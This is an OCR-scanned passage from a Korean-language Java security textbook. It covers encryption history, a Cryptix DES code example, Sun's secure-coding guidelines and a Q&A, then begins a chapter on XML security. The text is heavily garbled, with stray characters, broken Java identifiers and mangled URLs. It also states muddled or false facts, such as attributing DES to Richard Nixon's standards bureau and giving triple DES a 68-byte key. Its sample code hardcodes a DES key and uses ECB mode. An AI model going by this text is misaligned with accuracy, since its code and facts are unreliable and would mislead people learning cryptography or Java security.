단히 쉽다. 시장에 있는 개별적인 응용프로그람들은 Spynet Sniffer 와 CommView 처럼 
파케트람지를 할수 있다 (그림 7-24) . 이 프로그람들은 E 仕 iernet 를 리 용하는 망우에서 
련결된 콤퓨터에서는 잘 실행할수 있다. 망 접속기는 망을 교차하면서 진행되는 모든 거 
래를 조종할수 있으며 지어 사용자가 체계에 어느정도 접근할수 있게하는《무차별》방 
식으로 배치될수 있다. 

명백한것은 정 탐하는 눈을 속이고 자료를 숨기는것 이 매우 유익한 일이 라는것 이 다. 

암호화는 인터네트상에서 움직 이는 바이트자료를 위장하기 위한 알고리듬으로서 알 
맞춤한 열쇠를 가지고 접수자에 의해 수신될 때 해독된다.수자서명은 열쇠쌍에 의하여 
해석된다. 즉 비공개열쇠와 공개열쇠가 있다.암호화는 다만 통보문을 암호화하고 복호화 
하는 비공개열쇠들에서 만 진행 되 고 있다 (그림 7-25) . 열쇠 를 소유하고 있는 사람은 누 
구든지 통보문을 복호할수 있기때문에 불순한 조작에 의한 고장을 방지하는것은 열쇠 소 
유자들에게 달려 있다. 



그림 7-24. 망자료를 보기 위한 파케트람지자 



그림 7-25. 공유된 비공개열쇠를 리용한 암호화 


많은 알고리듬은 여러가지 능력을 가지고 리용될수 있다.실례로 로마의 황제는 통보 
문에 있는 매 문자를 수자로 변환하기 위 한 암호화계 획을 제 기 하고 자기의 적수들이 통보 
문을 읽 는것 을 막기 위하여 매 문자에 어 떤 수자들을 덧 붙이 였 다. 암호를 사용한《 열 


228 


















쇠》는 1부터 26 사이에 있는 하나의 수자이며 따라서 기술적으로는 5비트에 관한 열쇠 
였다. 


손상과 방위... 


암호화알고리듬은 어떻게 안전한가? 

DES 는 약 1976년부터 정보를 암호화하기 위하여 표준적으로 리용하였다. 그러 
나 범용성이 부족하고 널러 러용되지 못하였다. DES 는 이전에는 깨뜨릴수 없었지 
만 오늘의 콤퓨터들에서는 그렇게 강력한것으로는 되지 않는다. RSA 는 DES 표준의 
약점을 지적하기 위하여 1997년에 도전하여 나왔다. 그룹은 도전에 대한 ROSE (원 
격조작봉사요소)를 Distributed , net 라고 불렀다. 그들은 Distributed , net 가 자기의 
예 비 CPU 박자를 리 용하여 콤퓨터 들에 작은 프로그람을 설치 하기 위하여 천여명의 
인터네트사용자들을 모집하였다. 이것은 결국 Distributed . net 가 강력하게 분배된 
콤퓨터들를 가질수 있게 하였다. 이들의 전략은 상대방이 암호화된 통보문을 만들 
었는가를 보고 그것을 반대하여 매 사람이 단일열쇠를 사용함으로써 24시간만에 강 
압적으로 암호화된 열쇠를 깨뜨릴수 있었다(상세 한것은 www . rsasecurity . com / 
rsalabs / des 3/ index . html 를 보면 된 다). 

이에 응답하여 DES 를 교체하기 위한 새로운 조직 이 창설되였다. 

그들은 128 bit 의 열쇠길이를 가지는 새로운 알고리듬에 복종할것을 요구하였고 
콤퓨터의 속도가 빠르고, 적은 기억기를 사용하며 지적으로 고유한 제한들을 해방 
할것을 요구하였다. 초기 에 15개 가 이 에 응답하였으며 그틀은 그것을 5개 에 분배하 
였다. 그것들속에는 IBM 과 RSA 알고리듬이 있었다. 

2000년 10월 2일에 그들은 알고리듬에 대한 결정을 채택하였으며 마지막알고 
리듬이라고 말하기는 어렵지만 그것을 Rijndael 고 하었다. 그후 이 알고리듬은 
AES (Advanced Encryption Standard ) 라고 변경되 였다. 암호전문가들은 이미전 
에 RLTndael 를 검사하기 시 작하였으며 그틀은 아직까지 이 방법을 깨뜨릴수 없다고 
인정 하고 있 다. 그러 나 그들은 이 암호표준이 불과 몇년동안만 안전할것 이 라고 보 
고 았다. 그들의 파괴 효과에 대 한 구체 적 인 정 보는 www . cs . rit . edu /- mdsl 761/ 
cs 705 paper . htail 에 서 찾아 볼수 있 다. 


가장 일 반적 이 면서 강력 한 암호화방법 은 자료암호화규격 ( DES:Data Encryption 
Standard ) 이다. 이 알고리듬은 보안과 표준화된 암호화 방법을 위하여 리차드 엠.닉쏜 
의 민족표준화국 (National Bureau of Standards ) 에 의 하여 제 안되 였 다. 이 알고리 듬은 
현재 세계 에서 가장 널리 쓰이는 암호화방법 이 다.이것은 초기 에 IBM 에 의하여 1974년에 
루키 퍼 ( LUCIFER ) 라는 이 름으로 발표되 였 다. 그후 1977년에 민족보안기 관에 의 하여 그 
의 이 름을 DES 라고 개 칭 하였 다. DES 는 대 단히 안전하며 56 bit 열 쇠 를 리 용하지 만 그것 
은 24시 간내에 를퓨터 의 강력한 지 원밑 에 서 깨 뜨릴 수 있 다는것 이 증명 되 였 다. 이 러 한 파 
피에 대응하예 68 byte 의 열쇠를 리용하는 3중 DES 라고 부르는 새로운 판본이 출현하고 
있는데 여기서는 효과는 좀 약하지만 보안은 몇배로 더 좋아 진다. 
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암호화에서 중요한것 은 암호화알고리 듬의 비밀을 지키지 못한다는것 이 다.통보문를 
암호화하기 위하여 리용되는 거의 모든 알고리듬은 잘 알려 져 있으며 인터네트에서 그 
에 대한 인쇄물을 볼수 있다.중요한것은 열쇠를 모르고서는 파괴할수 없으며 또한 열쇠 
는 무차별적인 공격에 충분히 견덜수 있다는것이다. 우에서 언급한 로마의 암호화에 대 
한 실례를 통하여 통보문를 해득하는메서 기본이 암호화알고리듬이라는것을 알수 있다. 
DES 가 가지고 있는 알고리듬에 대한 지식은 통보문를 해득하는데 실질적인 도움을 주 
지 못한다.통보문을 해득하려면 열쇠를 얻어야 한다. Sun 은 대체로 표준 Java SDK 에 암 
호화클라스를 포함하려고 한다. 

하지만 그들은 자기들이 할수 있는것들을 제한하는 규칙을 만들려고 한다. 그들의 
해 결방도는 Java 암호체 계 확장 (Java Cryptography Extention ) 이 라고 부르것 을 차례 로 
내러적재하여 포함시키는데 있다. 이 꾸레미는 다른 알고리듬도 실현할수 있게 구조설계 
가 더 잘 되여 있다. 이것은 DES , Blowfish 와 Di 打 ie - Hellman 알고리듬도 포함하여 여 
러개의 알고리듬을 실제적으로 실현하고 있다. 그들은 RC 2 와 RC 5 알고리듬에 대한 특허 
권을 가지 고 있으며 또 SSL 과 같은 암호화 규약을 갱 신시 킨 꾸레미 들을 판매 할수 있 다. 

우의 실례에서 Cryptix 라고 부르는 암호화에 대한 열린 원천꾸레미들을 리용한다. 
이 꾸레미는 사용자가 리용하기 위하여 JCE 를 내리적재하지는 못해도 JCE 에 실현하고 
있는 구조를 리 용하고 있다. 2 MB 정 도는 www . cryptix . org 에서 자유롭게 내 리 적재 할 
수 있다. 

이것은 Javadoc 형식의 API 문서와 같은 필요한 모든 콜라스를 포함하고 있다. 

이 꾸레 미 는 Linux . Windows 나 Java 2 SDK 를 가진 다른 모든 체 계 하에서 리 용하 
도록 하기 위하여 100义 Java 에 서 작성 하고 있 다. 

1) Cryptix 설치 지령 

必 WWW. cryptix. org 에서 2MB zip 파일을 내 러 적재 한다. 현 판본은 3. 2 이 다. 

② 등록부를 창조하고 ( Cryp 仕 s 라고 한다.) 거기에 내리적재한 압축된 zip 파일 
을 풀어서 보관한다. 

③ 사용자의 클라스경로에 JAR 파일을 추가한다. 

실례 : classpath =% classpath %; C :\ java \ cryptix \ cryptix 32. jar 

@ 프로그람작성 을 시 작한다. 

Cryptix 암호실례 

이 실례에서는 비공개열쇠를 리용하여 통보문를 어떻게 암호화하여 복호화하는가를 
보여 준다. 비록 Cryptix 꾸레미에서 리용가능한 임이의 다른 알고러름을 쉽게 사용할수 
있다고 하더 라도 DES 알고리듬이 가장 널리 러용되고 있다. 

import xjava . security . * : 

import java . math .*； 

import cryptix . util . core . * : 

import cryptix . provider , key . * : 
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class Cryptography { 

public static void main (String [] args ) { 


String originalMessage = 

^< 0A0B0C0D0E0F1011121314151617180101010101010101010203040506070809 , ^； 


String privateKey = “ C 63 BE 7713812 A 419”; 
try { 

// Add Cryptix security provider dynamically ： 
java , security . Security . addProvider (new 
cryptix . provider . Cryptix 0) ； 

// Convert a string to a DES key and print out the result 
RawSecretKey privKey = new RawSecretKey ( “ DES ”, 

Hex . fromString ( privateKey )) ； 

RawKey rkey = ( RawKey ) privKey ； 
byte [] yval = rkey . getEncodedO ； 

Biglnteger bkey = new Biglnteger ( yval ) ； 

String desc = cryptix . util . core . BI . dumpString ( bkey ); 

System , out . println ( “The Encryption Key =’’ + desc ) ； 

// Use the DES key to encrypt a string 

Cipher des = Cipher . getlnstance ( “ DES / ECB / NONE ”, “ Cryptix ”); 
des . init Encrypt ( privKey ) ； 
byte [] ciphertext = 

des . crypt ( Hex . fromString ( originalMessage )) ； 

System , out . println(“Original message =’’ + originalMessage ) ； 
System , out . println ( “”) ； 

// Print out length and representation of ciphertext 

System , out . println ( “Encrypted length =’’ + ciphertext , length ) ； 

Biglnteger ciph = new Biglnteger ( ciphertext ) : 

byte [] encrypted = cryptix . util . core . BI . getMagnitude ( ciph ) ； 

desc = cryptix . util . core . Hex . toString ( encrypted ) ； 

System , out . println ( “Encrypted message =” + desc ) ； 

// Decrypt ciphertext 
des . initDecrypt ( privKey ) ； 
ciphertext = des . crypt ( ciphertext ) ； 

System , out . println ( 餘 ; 

System , out . println (“Decrypted length =’’ + ciphertext , length ) ； 
// Print out representation of decrypted ciphertext 
ciph = new Biglnteger ( ciphertext ) ； 

byte [] decrypted = cryptix . util . core . BI.getMagnitude ( ciph ); 
desc = cryptix . util . core . Hex . toString ( decrypted ) ； 

System , out . println (“Decrypted message =’’ + desc ) ； 

} catch (Exception e ) { 





System , err . println(“Caught exception ” + e . toStringO ) ； 

} 


이 코드는 실제 로 그리 복잡하지 않다.이 프로그람은 코드에서 지적된 초기통보를 
가지 고 시 작한다. 통보문는 16진수에 서 표현되 며 바이 트렬이 다. 코드의 다음행 은 공급자 
처 럼 Cryptix 클라스를 첨 가한다.다음 DES 열쇠 를 엄 고 통보문를 암호화하기 위 하여 열 
쇠를 리용한다.결과는 화면에 16진수로 출력된다.통보문는 다음에 비공개열쇠를 리용하 
여 해득되며 해득된 통보는 대조해서 출구로 보낸다. 

_ 

Y Java 는 두 콤퓨터들사이에 스케트접속을 안전하게 하는 API 를 준다 ( 안전하 

다는것은 자료가 암호화되 였다는것을 의 미 한다) . 그것은 JSSE(Java Secure Socket 
Extensions ) 이 라는것 을 분리 시 켜 내 리 적재 할수 있다. 기본적으로 이것은 JSSE API 
들의 작업실례를 설명하는 비상업적참조실현이 다. 이 러한 비상업적종류의 꾸레미들 
은 일 반적 으로 상품급으로 생 산품을 완성할수 있게 한다. 이것 들은 도구묶음 
( toolkit ), 정밀한 오유수정도구들, 상품급문서와 규칙적인 정기갱신을 충분히 포함 
한다. h 竹 p :// java . sun , com / products / jsse /. 에 서 JSSE 에 대 한 정 보를 더 구체 적 으 
로 볼수 있다. ^ 


2) Java 보안을 위한 Sun 마이크로제계우점 

이 부분에서 우리는 응용프로그람보안을 만들기 위하여 Sun 이 제공한 보안 API 들을 
설명한다. 이 꾸레미들을 가지고 빈약한 프로그람작성과 설계를 진행하는 프로그람에서 
구멍들은 없앨수 있었다. Sun 마이크로체계들은 이것을 인정하고 지금 그 어떤 구멍도 
없는 체계보안을 어떻게 창조하겠는가 하는 지도서를 제공하고 있다. 완성된 지도서는 
htlp ?// fatya , sim, 必 am / ge : cirtty /_ ocrf ^ tiMe . html ， 에서 볼수 있다. 여기에는 Sun 이 
제 안하고 있는 3가지 부분지도서가 있다. 

• 특권화된 코드지침 

• Java 코드지 침 

• C 코드지 침 

(1) 특권화된 3드지침 

이 부분에서는 진행하고 있는 일부 연산으로부터 코드를 제한하는 일부 보안코드관 
리 자를 어떻 게 창조하는가를 설명한다. 유감스럽게도 이 제 한들은 JVM 에서 실행하는 
모든 코드에 다 적용된다. 때때 로 사용자는 일반기초기능을 수행하는 작은 블로크들을 
제 외 하고 모든 코드를 줄이 려 고 한다. Java 는 보안관리자의 밖에 서 실 행하는 특권화된 
코드를 가지고 있다. 기본적으로 Sun 은 특권화된 코드를 실행할 때 3가지 장점들을 가 
지고 있다. 
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모든 특권화된 코드블로크들은 될수록 짧게 작성되 여 있다. 만일 특권화된 코드가 
다중방법을 가지고 매우 길게 작성되였다면 그것 이 보안되였는가를 확인하는것은 매우 
힘 들다. 

만일 사용자가 간단하게 작성하면 일반적으로 인증되지 않은 코드로부터 그것이 보 
안되 였는가를 측정 하는것은 쉽 다. 될수록 비밀 방법 안에서 특권화된 코드를 보관하도록 
해야 한다. 인증되지 않은 다른 콜라스는 그의 코드로부터 방법을 접근할수 없게 한다. 

방법이 공개되고 파일을 지울수 있다면 방법을 호출하여 인증되지 않는 콜라스를 정 
지시킬수 없다. 특권화된 블로크에 의해 리용되는 변수들을 잘 감시하여 외부블로크에 
의하여 변질되지 않게 할수 있다. 블로크가 특권화되였지만 그것이 블로크안에 없는 파 
일이름을 포함하면 그것은 블로크밖에서 변경될수 있다.이러한 변경을 변화시켜 고장파 
일이나 나쁜 파일을 지울수 있다. 

마지막으로 Sun 은 다음의 과제가 필요할 때만 특권화된 코드를 리용하는 우점이 
있 다. 

• 임의의 체계속성들을 읽기 

• 비록 그것들이 Java , home 에 있다 하더 라도 파일을 읽기 

• 소케 트들을 열 기 

• 애플레트보기에서 속성보관처럼 파일 작성 

• System . loadL 比) rary 나 Runtime . getRuntime . loadL 比) rary 와 함께 
동적서고호출 


(2) JavaS 드지침 

Java 코드지침들은 Java 코드가 창조될 때 지켜 야 하는 기본적 인 규칙 이 다. 그것들의 
일부만이 가능한껏 객체지향적인 안정된 코드토막을 창조하는것으로 인식되여 있지만 여 
기에는 대체로 그 대부분과 관련된 보안이 있다. 

마지막에 대역정적변수들을 만들도록 해야 한다. 보통 그것이 마지막이 아니면 임의 
의 다른 클라스는 변수들을 변경할수 있다. 권한이 없는 일부 클라스들은 변수들을 변경 
할수 없으며 마지막코드에서 무질서한 효과를 만들수도 있다. 

방법들과 마당들은 될수록 그의 유효범위를 줄여 야 한다. 변수나 메 쏘드를 정의할 
때 그것을 국부변수로 만들고 시작하며 만일 보다 큰 범위를 가질것이 요구되면 가능한 
범위를 작게 해야 한다. 

보호된 메쏘드들과 마당들만은 해당 클라스내에 다른 클라스가 없다면 완전히 제한 
을 없 앤 다. 꾸레 미 안에 다른 클라스가 첨 가되 는것 을 막기 위하여 꾸레 미 를 봉쇄 할수 있 
다. 이 것은 java.security 속성 파일에 한행 을 추가하거 나 봉인된 JAR 파일 이 라고 부르는 
JAR 파일의 특별한 형태에서 꾸레미를 포함하여 실현할수 있다(상세한것은 완전한 지도 
서를 보시오). 객체를 다루기 쉽게 만들어야 한다. 

실례로 한 방법 이 하쉬표와 갈은 객체를 돌려 준다면 이 방법 이 하쉬표를 변경할 때 
초기 객체안에서 하쉬 표를 변경 할수 있게 해 야 한다. 기 본객체 에 의 해 참조된다면 객체를 
닫아 버리 는것 이 가장 좋다. 

이와 반대경우는 객체를 인수로 받을 때이다.만일 이 객체에 변경을 가한다면 객체 
에 변경이 가해 지기전에 객체가 닫기지 않았는가를 확인해야 한다. 이 객체를 보관한 
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클라스나 객체도 이 객체에 변경을 진행할수가 있다. 

직렬화 ( serialize ) 객체를 리용할 때 대체로 JVM 의 밖으로 보내여 지며 따라서 보안 
관리자제한의 대상으로는 되지 않는다.또한 직렬화객체에 흐름객체가 있다면 해커는 이 
흐름이 지적된 임의의 위치에 직접 이 객체를 만들려고 시도한다. 

재정업무정보와 같은 보관에서 민감한 자료를 저 축할 때 사용자의 코드가 함께 들어 
가자마자 쓰레 기 ( garbage ) 집 합을 호출하여 기 억 기 로부터 가능한것 그것 을 제 거 하도록 
하여야 한다. 그것은 신용카드번호와 같은 정보를 표현하는 자료를 찾고 JVM 기억기더 
미 를 시 험할수 있게 한다. 



(3) ca 드지침 


今， 


모든 c 코드지침을 다 서술할 필요는 없으나 중요한 목록은 고유한 방법으로 프로그 
탐을 작성하는데 도움을 주게 될것이다.보다 완전한 설명을 보려면 Sun 지도서싸이트에 
서 리 용하면 된다. 지도서는 다음과 같다. 


• 모든 입 력인수들이 정 당한가를 검 사한다. 

• Unix system () 호출을 리 용하지 말아야 한다. 

• scanf 를 리용하지 말고 fgetc 를 리 용하며 Java 쏘프트웨 어환경의 prin 社를 러 용 
해야 한다. 

• 환경변수가 정확한가를 검사해 야 한다. 

• setuid 뿌리를 주의하며 setuid 뿌리와 함께 수행되는 프로그람을 주의해 야 한다. 

• setuid 스크립트들은 모두 피해야 한다. 

• 뿌리로서의 파일은 절대로 열지 말아야 한다. 

• 모든 함수들이 정당한 값을 돌려 주었는가를 검사해야 한다. 

• 2항조들을 모두 밝혀 야 한다. 

• UID 들과 파일속성 등과 같은것은 등록하여 야 한다. 

• chmodO , chownO , chgrpO 를 리용하지 말고 대신 fchmodO , fchownO 
를 리용해야 한다. 


결 론 


이 장에서 우리는 보안의 5가지 주장인 봉쇄 , 권한, 인증, 암호화, 검사를 Java 가 
어떻게 취급하는가에 대하여 보았다. Java 는 독특하게 봉쇄과 함께 보안의 일부 령역에 
ᅫ 서 매우 강력하다. Sun 의 첫 우선권은 모든 피해로부터 Java 사용자들을 보호하는 환경 
줐 을 만드는것 이 다. Java 보안과 함께 일부 제기되는 약점들도 있다 .5 개 주장에서 검사는 
/ 제일 약한 고리이다.구축된 체계는 전송의 검사자리를 보존하기 위하여 존재하지는 않는 
ᅳ| 다.두번째로 위험한 련결은 아마도 체계에서 사용자들이 진행하는 인증과 증명서일것이 
다.이것 이 위험한 련결로 되는 리유는 Java 의 판본 1.3 이 명백히 존재하기때문이 다.그 
# 것들에 대한 많은 요구는 제기되지 않는다. j ava 의 대다수 개발자들과 사용자들은 그것 
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이 없이도 안전하게 전진할수 있으며 따라서 Sun 은 그것을 실현해야 할 절박한 리유는 
없었다. 만일 이를 위한 많은 요구가 계기되였다면 Sun 은 초기 Java 가 출현할 때 이것고 
을 쉽게 실현하였을것이다. 

Java 가 보안을 위하여 리용하는 기계를 보기로 하자. 봉쇄는 보안관리자와 전략파 61 ' 

일의 리 용을 통하여 달성할수 있다.이 기술은 Java 응용프로그람이 체계 에 접근하기 위 g 
해 어 떤 자원의 담당자도 허 용한다.인증은 수자서 명 을 리용하여 초기 에 실현되 였다.이_ 
표식들도 X . 509증명 서 와 JAR 표식 에 서 와 같이 리 용되 였 다. 권한은 봉쇄 과 인증의 결합을예 영 
리용하여 실현되였다.권한을 가지고 일정한 개별적인 자원들에 대한 접근을 허용할수 있” - 
다. 인증은 개별적인 식별을 허용하며 봉쇄는 개별적으로 체계에 접근하는 자원을 식별 : ' 

하는것을 허용한다. Java 는 또한 훌륭한 암호 API 를 가진다. Cryptix , JCE 와 같은 여러 ᄂ^ - 
가지 제3부류의 꾸레미들중 하나를 리용하여 암호화를 실현하는것이 쉽다. 

응용프로그람에서 작용하는 보안의 역할에 대해 사용자의 의견을 종합해야 한다. 높 # 

은 준위의 회사들은 명백히 주어 진 보안의 가장 높은 형태를 리용하지만 만일 적합한^| 
마당에 대해 Java 를 리용하면 필요가 없을수도 있다.명백하게 보안은 필요하지만 모든!를 
응용프로그람들이 다 가장 높은 수준의 보안을 요구하지 는 않는다.일부 응용프로그람에 ’ᄌ f 
대해 기초적인 권한으로도 충분할수 있다.실례로 야구경기 실시간을 표시하는 애플레트 
를 들어 보자.그것 이 토대하고 있는 실행자의 위치와 여러가지 야구통계를 포함한다.이_ 

것은 자료가 공동령역에 있기때문에 보안측정을 실현하는것을 어디서 감수하겠는가 하는;^ 
실례이다.그러나 사용자들이 신용카드를 러용하여 경기에 내기를 할수 있도록 하기 위하’^ X 겨 
여 이런 계획을 변경시킬수 있다. 갑자기 보안을 위해 특별히 암호화가 긴급하게 제기될요 ^ 

수도 있다. 

보안코드는 사용자의 코드에 복잡하게 추가될수 있기때문에 프로그람작성 자들은 코！^ 

드를 완성하기 위하여 새로운 체계를 배워야 한다. 만일 보안이 응용프로그람작성의 한 
가지 요구로 제기된다면 대상과제를 개발하는메 많은 시간이 소모된다. 이 코드도 역시*•胃 
더 많은 기 억기와 디스크 공간을 요구한다.인터네트를 통하여 진행되는 전송 범위도 확장！； 

될 것 을 요구한다.알고리 듬은 응용 프로 그람의 속도를 일정 하게 떨 군다. 마지 막으로 응용 
프로 그람을 리용하는 단순한 항목들에까지 시간이 소비된다. 




요 약 


1. Java 보안구조의 개괄 


- 보안에 대 한 5가지의 주장이 있 다.즉 봉쇄，권한, 증명서 , 암호화, 검 사이 다. • 

- JVM 준위 에 서 완성 되 는 보안체 계 들은 응용프로그람준위 에 서 완성 되 는 보안보다’ 
훨씬 더 작은 구멍들을 거의 모두 포함한다. 될수록 Java 에서 공급되는 보안기계 
를 리용해 야 한다. 

- Java 2와 함께 새 로운 Sandbox 기 계 는 체 계 자원에 대 한 호출을 허 용한다. 


f 호 

今 I ， 
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2. Java 는 보안을 어떻게 다루는가 

- 콜라스호출자는 어떠한 바이 트흐름으로부터 클라스를 적재 하는데 리 용된다. 

- 바이 트코드검 증자는 그것 을 실행 하기 전에 Java 바이 트코드를 재 차 검사하기 위하 
여 JVM 에 의해 리용된다. 

- 보호된 Java 령역 은 체 계 자원에 대 한 적 합한 접 근을 진행 하기 위 하여 API Java 함 
수를 리용한다. 

3. Java 의 잠재적약점 

- 의뢰기는 봉사기에서 수행할수 있는 전송의 수를 제한한다.이것은 매 사용자에 대 
한 단일가입계수를 공급하여 진행할수 있다. 

- 봉사기 에서 창조될수 있는 스레 드의 수를 제한해 야 한다. 너무 많은 스레드들이 
수행된다면 체계는 대단히 힘들다는것을 사용자들에서 말해 주어야 한다. 

- 트로이 목마로써 봉사기 에 침 투하는 코드를 제 한하기 위하여 RMI 보안관러자를 리 
용한다. 


4. 기능적이면서 안전한 Java 애플레트의 코드화 

- 통보문발취는 자료가 변경되지 않았다는것을 확인하는데 리용할수 있다. 

- 수자서명은 인터네트에서 실체를 식별하는데 리용할수 있다. 

- 암호화는 인터네트상에서 전송될 때도 자료가 비공개열쇠를 보존할수 있게 한다. 


물음과 대답 




이 장의 물음에 대 한 대답은 저 자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생 활을 통하여 체 험하도록 하는데 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 www . Syngress . 
com / solutions 의 《Ask the Anthor ) (저자에게 문의)을 누르시오. 


물음: 왜 자체의 클라스호출자를 창조할것을 요구하는가? 

대 답: 프로그람에 서 리 용하는 클라스들은 클라스경 로등록부로부터 자동적 으로 호출된 
다. 그것은 객체 serialization 를 통하여 다른 원천으로부터 객체를 받을수 있 
게 한다.그러 나 객체를 러 용하거 나 클라스경 로에 존재 하지 않는 콜라스를 창 
조하면 어떻게 되는가? 이 경우에 프로그람이 콜라스를 리용하려고 한다면 
클라스경로에서 그것을 찾을수가 없게 된다.콜라 스는 자기의 클라스호출자를 
리용하여 JVM 안에서 호출할것을 요구한다. 
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물음: 코드가 변경되면 바이트코드검증자를 확인해야 하는가? 




대답: 아니다.바이트코드검증자는 그 어떤 콤파일러검사에 대해서도 즉시 코드를 검 

사한다.례를 들면 코드는 비공개열쇠에 접근하려고 시도하는가? 모든 열쇠가■ᄍ 
초기화 되였는가? 만일 누군가가 바이트코드를 변경한다면 그것은 콤파일러, r 
검사와 일치할 때까지만이며 그다음에는 JVM 에 의해 코드가 실행할수 있다니 i 
변경 되 지 않았다는것 을 확인하려 면 통보흡수나 수자서 명 을 리용하여 야 한다. t 


물음: 통보문발취와 수자서명사이에 차이점은 무엇인가? 

대답: 통보문발취는 통보문를 표현하는 유일한 160 bit 렬이다. 이것은 통보가 변경되 
지 않았다는것을 확인하기 위하여 검사된다. 수자서명은 공개열쇠에 의해 증| 
명되는 렬을 창조하는데 비공개열쇠를 리용한다. 이것은 통보문이 변경되지! 
않았고 비공개열쇠의 소유자에게 속하여 있다는것을 확인한다. 



물음: 수자서명과 증명서사이의 차이점은 무엇인가? 

대답: 수자서명은 어떤 사람의 식별을 반드시 자체로 확인하지는 못한다. 그것은 비.. , 
공개 열쇠의 소유자가 무엇 인가를 수표하였다는것 을 증명 한다.수자서명 은 제 3 &J 
자에 의해 표식되 며 응답에 실체의 공개열쇠 를 (다른 정 보들속에)포함하고 ' 

있다. 제 3 자가 실체 가 누구인가를 알고 있다고 믿는다면 당신도 실체 가 정 ^ 
당하다는것을 확인할수 있다. 

물음: 임의의 사람도 나의 공개열쇠를 가지고 나로 위장할수 있는가? 

대 답: 확실하게 아니다. 그들은 공개열쇠를 가지고 통보를 표식하는데 리용할수 없 ' 
으며 다음에 공개열쇠에 의해 확인될것이다. 오직 비공개열쇠의 소유자만이 ' 
공개열쇠에 의해 확인될수 있는 수자서명을 창조할수 있다. 


물음: 나의 전략파일을 만들고 코드로 같은 등록부에 그것을 배치한다.이 전략규칙 
을 코드가 실현할수 있는가? 

대답: 보안관리자가 창조될 때까지 못하며 전략파일이 있는곳에서 JVM 을 지적한다 j J 
보안관러자를 발동하기 위 해 지 령선인수 - Djava . security.manage 를 포함하놔 
거나 또는 코드 new Security Manager () 로 보안관리자를 창조한다. 어디에 、 
전략 파일이 있는가를 알기 위 해 다음의 지령 선인 수를 사용 한, \ 
다. Djava . security . policy = [policy file location ]. 


물음: 보안관리자를 리 용할 때 Native 메 쏘드호출을 허 용하거 나 금지 시 키 는 선택 이匕、 

왜 필요한가? 

대답: Native 방법호출은 체계에 일어 나는것을 추측할수 있는 모든 연산들을 유효 . 

하게 한다. 따라서 Native 방법호출이 허 용되 고 임의의 다른 연산을 제 한하는놔 
데 문제 점 이 없 으면 콜라스는 자체 의 방법호출을 리 용하여 그것 들을 수행할| 1 
수 있 다. Native 호출은 조작체 계 준위 에 서 진행 되 며 따라서 JVM 보안을 완전히; 세 I 
무시 한다.이 를 위 하여 Sun 은 적 절 한 보안관리 자일 때 는 자체 방법 호출을 금지 , ' 
시킨다. 


제 8 장. XML 의 보안 


이 장의 기본체계 

d XML 의 정 의 

관 XML 을 리용한 

Web 응용프로그람만들기 

관 XML 리 용과 관련한 위 험 

必 XML 의 보안 
여 결론 

이 요약 

傷 물음과 대답 



소 개 


확 장 표 식 언 어 (Extensible Markup Language : XML ) 는 WWW (World Wide 
Web : W 3 必협 회 의 《사생 아》이 다. 1996년에 그것 이 나온 때 로부터 인터네 트상에서 문 
제를 풀거 나 응용프로그람을 개발하는데서 혁 신적 인 방법을 제공함으로써 모든 사무일에 
서 주목을 끌고 있으며 표준화과정 이 진척되고 있다. 

XML 은 임의의 어떤 형식의 자료를 불러 들인다 할지라도 그것을 응용프로그람이 
리해 하기 쉬 운 형 식 으로 자료를 서 술하는 방법 이 다. XML 은 갈은 자료를 여 러 가지 형 
태 들로 표현 할수 있 게 해 준다. XML 은 초기 에 하이 퍼 본문표식 언 어 (Hypertext Markup 
Language : HTML ) 와 같이 Web 싸이트문서 에서 리용할 예정이 였다. 그러 나 자료를 변화 
시키 고 재 리용하는데서 그의 잠재 력 이 가지 고 있는 우점으로 하여 리용범위가 대 단히 넓 
어 지고 있다. 

XML 이 실지로 구체화되여 있고 또 XML 문서가 실지 태그 ( tag ) 들을 가진 본문인데 
왜 보안에 대한 걱정을 하게 되였는가 하는 의문이 생긴다. 대답은 XML 이 매우 다방면 
적 이 며 두개 응용프로그람사이 에 실례 로 Web 싸이 트로부터 자료기 지 관리 체 계 로 자료를 
앞뒤로 이동하는데 리용할수 있기때문이다. 어떤 현실에서는 이러한 정보가 비밀로 될수 
있으며 따라서 보안은 XML 을 리용하는 Web 싸이트나 Web 응용프로그람 사용자들이 보 
려한다는것 을 고려하여 작성 되 여 야 한다. 

이 장은 XML 의 기본적인 의미와 그와 련관된 필수적인 개념들을 준다.여기서는 
Web 응용프로그람에서 어떻게 XML 이 지레대와 같은 역할을 할수 있는가를 리해하도록 
한다. 또 XML 을 부당하게 리용할 때 관련 한 위 험 들과 XML 에 의해 관리 되 는 자료를 
어떻게 보안하겠는가에 대하여 설명하고 있다. 


제 1 절. XML 의 정의 


간단히 말해 서 XML 은 스테 로이 드 ( steroid ) 에 서 의 ASCII 이 다.그것 은 독자 (human 
reader ) 로 리해할수 있다는것을 의미한다 (말하자면 독자란 개발자로 되는 사람이다) . 
만일 HTML 을 가지 고 작업 한다면 일 반화된 표준표식 언 어 (Standard Generalized 
Markup Language : SGML ) 로부터 한 방향 또는 여 러 방향으로 HTML 과 XML 이 유도 
되기때문에 XML 은 어느 정도 비슷하게 표현되며 공통구조인 요소 ( element ) 와 속성 
( attribute ) 으로 구성된다. 그러 나 여 기서 HTML 의 기 능은 정 보의 표현에 중점 을 두고 
있으며 XML 은 어떤 위치에서 널리 호출될수 있는 자료를 서술하는데 중점을 두었다. 

XML 은 본문파일에서 자료를 구조화하기 위한것이 다. Word 편집기나 표계산프로그람 
과 갈은 많은 프로그람들은 이미 2진형식과 본문형식에서 다 파일의 자료를 구조화하였 
지만 이 형식들은 소유권화된 경향이 있다 .XML 은 작성 하기 쉽고 읽기 쉬우며 응용프로 
그람 및 가동환경독립 이고 확장성 이 매우 좋은 본문형식으로 자료를 형식화하기 위한 명 
세 언어 이 다. XML 은 사실 기 술의 집 합이 다 .XML 1.0 은 XML 의 태 그 ( tag ) 와 속성 문법 
(attribute syntax ) 을 정 의한다.즉 XML 의 우점 을 확장한 다른 명세언어 로서 Xlink , 
Xpointer , Xfragment , 직 렬 형 식 판 ( CSS:cascading style sheets ), 확장가능한 형 식 판 
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언어 (Extensible Stylesheet Language : XSL ) 등이 있다. 이 러한 기술의 일부는 이미 
리용되고 있으며 일부는 아직도 그 명세가 설계중에 있다. 

XML 의 창조자들에 의해 정의되는10가지 목표가 있는데 이것은 XML 이 어떻게 리 
용되겠는가에 대 한 명백한 방향을 준다. 

• XML 은 인터네 트상에서 그대 로 리 용될것 이 다. 

• XML 은 응용프로그람의 폭 넓은 다양성을 제공할것이다. 

